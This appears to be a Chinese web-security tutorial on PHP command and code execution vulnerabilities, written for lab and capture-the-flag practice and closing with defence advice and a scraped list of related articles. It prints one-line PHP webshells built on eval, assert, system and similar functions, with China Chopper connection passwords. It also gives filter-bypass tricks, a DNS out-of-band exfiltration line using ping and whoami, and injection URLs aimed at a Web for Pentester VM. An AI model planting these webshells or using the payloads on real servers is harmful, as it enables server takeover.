目录

  • 原理
    • 命令执行漏洞原理
    • 代码执行漏洞原理
    • 命令执行与代码执行漏洞区别
    • 命令执行&代码执行漏洞危害
  • 命令执行无回显
  • 代码执行函数
    • 1- eval()
    • 2- assert()-最好不要加上分号作为结尾
    • 3- call_user_func()
    • 4- create_function()
    • 5- array_map()
    • 6- call_user_func_array()
    • 7- array_filter()
    • 8- uasort()函数
    • 9- preg_replace()
  • 命令执行函数
    • 1- system()
    • 2-passthru()
    • 3- exec()
    • 4- shell_exec()
    • 5- popen()/proc_popen()
    • 6- pcntl_exec()
    • 7- 反引号 ``
  • 命令执行绕过
  • 脑图
  • OS命令执行
    • windows系统
    • linux系统
    • 小结
  • 靶机测试
    • 安装
    • Example 1
    • Example 2
    • Example 3
  • 其他案例
    • 过滤空格
    • 过滤目录分隔符
    • 过滤运算符
  • 防御措施
  • 参考

原理

更进一步的解释,请参见:

MiscSecNotes
命令执行漏洞和代码执行漏洞详解 一文了解命令执行漏洞和代码执行漏洞

命令执行漏洞原理

在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令

代码执行漏洞原理

应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

命令执行与代码执行漏洞区别

命令执行漏洞是可以直接调用操作系统命令,代码执行漏洞是靠执行脚本代码调用操作系统命令

命令执行&代码执行漏洞危害

可以执行代码、系统命令进行读写文件、反弹shell等操作,拿下服务器,进一步内网渗透等等。

命令执行无回显

命令执行无回显的话,可以尝试下面三种方式

  1. 延时
  2. http请求
  3. DNS请求

代码执行函数

此处参考了@卿先生的文章
https://www.cnblogs.com/-qing-/p/10819069.html

主要有(9个):eval(),assert(),call_user_func(),create_function(),array_map(),call_user_func_array(),array_filter(),uasort(),preg_replace()

1- eval()

  1. eval() 函数把字符串按照 PHP 代码来计算。
  2. 该字符串必须是合法的 PHP 代码,且必须以分号结尾。
传入的参数必须为PHP代码,既需要以分号结尾。命令执行:cmd=system(whoami);菜刀连接密码:cmd<?php @eval($_POST['cmd']);?>

2- assert()-最好不要加上分号作为结尾

assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾(特别注意),有时加上分号不会显示结果

命令执行:cmd=system(whoami)
菜刀连接密码:cmd<?php @assert($_POST['cmd'])?>

3- call_user_func()

把第一个参数作为回调函数调用

4- create_function()

创建匿名函数执行代码
执行命令和上传文件参考eval函数(必须加分号)。
<?php $func =create_function('',$_POST['cmd']);$func(); ?>

方式1:

<?php $func = create_function('',$_POST['cmd']);$func(); ?>

方式2:

<?php
$a= $_POST['func'];
$b = create_function('$a',"echo $a");
$b('');
?>
//post:func=phpinfo();

5- array_map()

array_map() 函数
将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。命令执行http://localhost/123.php?func=system   cmd=whoami菜刀连接http://localhost/123.php?func=assert   密码:cmd
<?php$func=$_GET['func'];$cmd=$_POST['cmd'];$array[0]=$cmd;$new_array=array_map($func,$array);echo $new_array;
?>

6- call_user_func_array()

将传入的参数作为数组的第一个值传递给assert函数cmd=system(whoami)菜刀连接密码:cmd
<?php$cmd=$_POST['cmd'];$array[0]=$cmd;call_user_func_array("assert",$array);
?>

7- array_filter()

用回调函数过滤数组中的元素:array_filter(数组,函数)命令执行func=system&cmd=whoami菜刀连接http://localhost/123.php?func=assert  密码cmd
<?php$cmd=$_POST['cmd'];$array1=array($cmd);$func =$_GET['func'];array_filter($array1,$func);
?>

8- uasort()函数

php环境>=<5.6才能用
uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd])   密码:cmd
<?phpusort($_GET,'asse'.'rt');
?>

9- preg_replace()

preg_replace('正则规则','替换字符','目标字符')
执行命令和上传文件参考assert函数(不需要加分号)。
将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
<?phppreg_replace("/test/e",$_POST["cmd"],"jutst test");
?>
这里可以使用chr()函数转换ASCII编码来执行代码。#phpinfo();
eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))


命令执行函数

主要有(7个):system(),passthru(),exec(),pcntl_exec(),shell_exec(),popen()/proc_popen(),反引号 ``

1- system()

作用:将字符串作为OS命令执行,自带输出功能。

<?php system($_GET["cmd"]);?>

这里还可以写入一句话木马:使用cmd下的echo命令,不能使用type
(注意:这里type命令无法写入内容到文件中,只能创建一个空文件)

2-passthru()

作用:将字符串作为OS命令执行,不需要输出执行结果,且输出全部的内容。

<?php @passthru($_GET["cmd"]);?>

3- exec()

作用:将字符串作为OS命令执行,需要输出执行结果,且它只会输出最后一行的内容。

<?php echo exec($_POST["cmd"]);?> <?php print exec($_POST["cmd"]);?>    //他的输出结果需要打印,system()不用打印

4- shell_exec()

作用:将字符串作为OS命令执行,需要输出执行结果,且输出全部的内容。

<?php echo shell_exec($_POST["cmd"]); ?>
<?php print shell_exec($_POST["cmd"]); ?>

5- popen()/proc_popen()

作用:该函数也可以将字符串当作OS命令来执行,但是该函数返回的是文件指针而非命令执行结果。该函数有两个参数。

linux:
<?php $handle = popen("/bin/ls","r");?>windows:
<?php$cmd = $_POST['cmd'].">> 1.txt";//此时的$cmd=ipconfig >> 1.txtpopen("$cmd",'r'); //实际上就是 popen("ipconfig >> 1.txt", "r"),把执行结果放入1.txt文件,通过访问1.txt文件查看执行结果。
?>

6- pcntl_exec()

linux: <?php pcntl_exec("/bin/bash",array($_POST["cmd"])); ?>
用的不多。暂时略过。

7- 反引号 ``

作用:[``]反引号里面的代码也会被当作OS命令来执行

<?php echo `dir`?>或者:<?php $cmd = $_GET['cmd'];print `$cmd`; ?>

命令执行绕过

  1. 空格过滤:${IFS}

  2. 黑名单绕过:a=c;b=at;c=fl;d=ag; a a ab c c cd

  3. 编码绕过: $(printf “\154\163”) ==>ls

     $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag`echo "Y2F0IGZsYWc="|base64 -d`
    
  4. 通过单双引号绕过:ca‘’t flag/ ca””t flag

  5. 反斜杠绕过:c\at fl\ag

  6. 正则绕过: /???/?[a][t] ?’’?’’?’’?‘’

  7. 通过dns解析(无回显):ping whoami.****.ceye.io

脑图

OS命令执行

部分Web应用程序提供了一些命令执行的操作,例如,如果想测试 http://www.test.com 是否可以正常连接,那么web应用程序底层就很可能去调用系统操作命令,如果此处没有过滤好用户输入的数据,例如管道连接符,就很有可能形成系统命令执行漏洞。

windows系统

  • |:前面为真,才执行后面

  • ||:前面为假,后面才执行

  • &:不论前面真假,后面都能执行

png www.baidu.com&whoami
ping www.baidu.com&whoami

  • &&:前面为真,才执行后面的语句

linux系统

  • ;不论前面真假,后面一定执行

  • |:不论前面真假,后面一定执行

  • ||:当前面的语句执行出错时,执行后面的语句。

  • “&”:前面的语句可真可假,后面的一定执行

  • &&:前面的内容为真的情况下,才执行后面的内容

小结

靶机测试

使用web for pentester进行测试,我们这里不研究攻击靶场的思路,如果你有兴趣,可以通过“参考”中给出的Web for Pentester 靶场学习记录进一步学习它。

安装

下载地址:https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso
像安装普通的linux系统那样安装即可,启动它后,即可直接进入,没有繁杂的操作系统安装过程。
我们这里选择的是目录穿越,作为演示案例。

Example 1

逻辑或:

http://192.168.239.134/commandexec/example1.php?ip=127.0.0.1|whoami

Example 2

这一关使用了 preg_match 正则检测我们输入的 ip ,如果 ip 不是 IP 格式的话就直接终止函数运行,但是这里使用了/m多行匹配模式,所以我们这里可以使用%0a换行,后面跟上自己的 payload 即可:

http://192.168.239.134/commandexec/example2.php?ip=127.0.0.1%0awhoami

Example 3

preg_match 去掉了/m多行匹配模式,检测到 ip 不是 IP 地址格式的话,就重定向为:
/commandexec/example3.php?ip=127.0.0.1
虽然重定向了,但是实际上代码还是执行了我们的输入,只是重定向后刷新了一下,我们没有看到执行结果,BP抓包即可。

其他案例

过滤空格

打开CTF题目,长这个样子

要读取flag的话,命令中间是有空格的,绕过思路如下:
常见方法有<<>%20(space)%09(tab)\$IFS\$9\${IFS}$IFS等(百度以下挺多的)
经测试这里可以使用<
命令:127.0.0.1|cat<flag_126491043027723.php

输入进来之后,页面没反应,不用慌,查看页面源代码

过滤目录分隔符

打开CTF题目,发现,flag位于某个文件夹里面,那么如果绕过斜线读取文件呢

思路上来说应该是cat文件,必须要使用目录分隔符/,但是题目给过滤。需要另外寻找办法
windows中:%0a&|
linux中:%0a%0d;&|&&||

其中:
分号;的作用就是在 shell 中,担任“连续指令”功能
&&的方式:command1 && command2,如果command1执行成功,则执行command2

  1. 拿到flag的文件名

  1. 读取flag

命令:;cd flag_is_here&&cat flag_11543166316699.php
在浏览器中f12打开,源码中出现flag

过滤运算符

通过代码可以看到过滤了|&,换成;依然可以绕过

使用命令:;cat flag_63893268518878.php
然后查看页面源代码:

防御措施

  1. 尽量使用自定义函数或函数库实现外部应用程序命令的功能。在执行system、eval等命令执行功能的函数前,要确认参数内容。
  2. 参数的值尽量使用引号包括,插入前使用addslashes转义(addslashes、魔数引号、htmlspecialchars、 htmlentities 、mysql_real_escape_string)
  3. 在进入执行命令函数前进行严格的检测和过滤以及对敏感字符进行转义

如:cattailfindechotar等等

如:|||&;<>$

$`等

参考

MiscSecNotes
命令执行漏洞和代码执行漏洞详解 一文了解命令执行漏洞和代码执行漏洞
[红日安全]Web安全Day13 - 命令执行实战攻防
白帽子挖洞—命令执行(Commnd Execution)篇
命令执行漏洞概述
Web for Pentester 靶场学习记录
php中代码执行&&命令执行函数
PHP中常见的命令执行函数与代码执行函数

细说——命令执行_代码执行相关推荐

  1. 远程命令执行与代码执行(remote command/code execute)漏洞总结

    文章目录 前言: 一.基础知识 1.命令执行漏洞 常用的命令连接符: 2.代码执行漏洞 3.PHP中的危险函数: 二.靶场练习 命令执行: 1.Low级别 2.Medium级别 3.High级别 4. ...

  2. PHP中的命令执行与代码执行

    title: PHP中的命令执行与代码执行 data: 2021-09-15 tags: CTF-web PHP中的命令执行与代码执行 最近在复习之前学过得知识点.因为之前是0基础来学习的,所以很多东 ...

  3. python如何执行代码漏洞_命令执行与代码执行漏洞原理

    本篇笔记摘自微信"黑白天",如有侵权,联系删除 命令执行定义 当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数.如PHP中的system,exec,sh ...

  4. pikachu RCE(remote command/code execute)(远程命令执行/远程代码执行)(皮卡丘漏洞平台通关系列)

    目录 一.官方介绍 二.诚意推荐 三.悠闲通关 第1关 exec "ping" 第2关 exec "eval" 一.官方介绍 本节引用内容来源pikachu漏洞 ...

  5. python编程代码执行漏洞_代码执行漏洞 - 安全先师的个人空间 - OSCHINA - 中文开源技术交流社区...

    0x00 前言 最近发现的一个新站,不妨试试手. 0x01 基础信息 漏洞点:tp5 method 代码执行,payload如下 POST /?s=captcha_method=__construct ...

  6. matlab 判断是否执行完毕,server酱_代码执行结束推送到微信_matlab和python

    server酱是一个可以推送通知到微信的平台. 适用场景 比如说多人共用一台服务器,不可能一直有人待在服务器面前.如果在计算资源紧缺需要排队的情况下,只有当A某的程序运行完成后,B某的程序才能运行,那 ...

  7. timertask run函数未执行_图执行模式下的 TensorFlow 2

    文 /  李锡涵,Google Developers Expert 本文节选自<简单粗暴 TensorFlow 2.0> 尽管 TensorFlow 2 建议以即时执行模式(Eager E ...

  8. mysql脚本报错继续执行_解决执行sql脚本报错:没有足够的内存继续执行程序。...

    AngularJS 模块&amp; 表单 模块定义了一个应用程序. 模块是应用程序中不同部分的容器. 模块是应用控制器的容器. 控制器通常属于一个模块. 应用("myApp" ...

  9. 不是管理员计划任务不执行_为执行任务而不是老板

    不是管理员计划任务不执行 在2016年Slush新加坡大会上,我有一次绝妙的机会采访蜡笔创始人Suresh V. Shankar . 在会议上,他谈到了自己作为企业家的经历以及所面临的困难. 他还谈到 ...

最新文章

  1. C# 数据库连接笔记
  2. 多人VR游戏或成未来VR游戏发展的爆点
  3. 蓝桥杯_算法训练_动态数组使用
  4. Flink 实战:如何解决应用中的技术难题?
  5. 《PHP和MySQL Web开发从新手到高手(第5版)》一2章 MySQL简介2.1 数据库简介
  6. Mysql utf8 和utf8mb4 的区别
  7. 基于深度学习检测驾驶员的走神行为
  8. Java——JVM基本原理
  9. 不清楚SBUS,这份SBUS协议详解请收藏
  10. 【ArcGIS|空间分析】3D可视性分析(全国大学生GIS技能大赛试题)
  11. 向量ab怎么用计算机打出来,向量怎么用wps打出来
  12. 最新款服务器主板,新至强处理器御用座驾,技嘉推出MD71和MD61两款服务器主板...
  13. Python案例之Numpy + Pandas——北京房价分析、2018年北京积分落户数据分析
  14. 另辟蹊径,独树一帜的写作方法
  15. XSS攻击的一个校内简单实例
  16. Debian / Ubuntu 系统怎么缩短 shell 路径(转)
  17. (算法设计与分析)第二章递归与分治策略-第二节:分治和典型分治问题
  18. win10图标变白纸_同是Office365,为什么你的软件图标还是旧版的?
  19. numpy/pandas 10min了解pandas
  20. matlab模拟n维谐振子,n维耦合谐振子的能量谱条件数理论研究

热门文章

  1. 朔源反制:IDS IPS snort suricata
  2. matlab按照z合并同类项,matlab合并同类项
  3. 你能清洗西雅图所有的窗户吗?
  4. maven和springboot
  5. 写了一个网站:12小时福利区
  6. React/ReactNative 状态管理终于懂了!redux redux-toolkit 与 rematch 对比总结
  7. 【转载于软件小妹】百度网盘简易下载助手(直链下载复活版)
  8. 张驰课堂:2022年CAQ中质协六西格玛考试时间通知
  9. 史上最全 CP2K 7.1.0 安装教程
  10. ACM训练合集---HDU4545 魔法串